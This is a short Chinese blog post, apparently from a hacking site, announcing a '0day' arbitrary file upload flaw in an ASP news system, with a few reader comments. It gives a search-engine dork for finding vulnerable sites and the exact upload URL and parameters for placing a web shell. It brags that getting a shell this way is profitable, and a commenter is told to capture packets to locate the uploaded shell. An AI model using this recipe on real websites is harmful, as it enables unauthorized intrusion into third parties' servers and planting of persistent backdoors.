今天呢，发布一个0day，是一个任意上传漏洞。
谷歌关键字：inurl:newslist.asp?NodeCode= 然后在域名后面添加admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp
任意上传拿shell
很吃香哦
出图测试
有人回复时邮件通知我
九 × 二 =
请问怎么找马地址 我的博客
抓包
上传成功后的文件地址是什么？
![[转载]域 渗透实录](http://www.afeng.org/wp-content/themes/afeng_org/res/img/big6.jpg)
请问怎么找马地址 我的博客
2013-03-16 下午 4:11抓包
2013-03-17 下午 8:16上传成功后的文件地址是什么？
2017-01-06 上午 4:35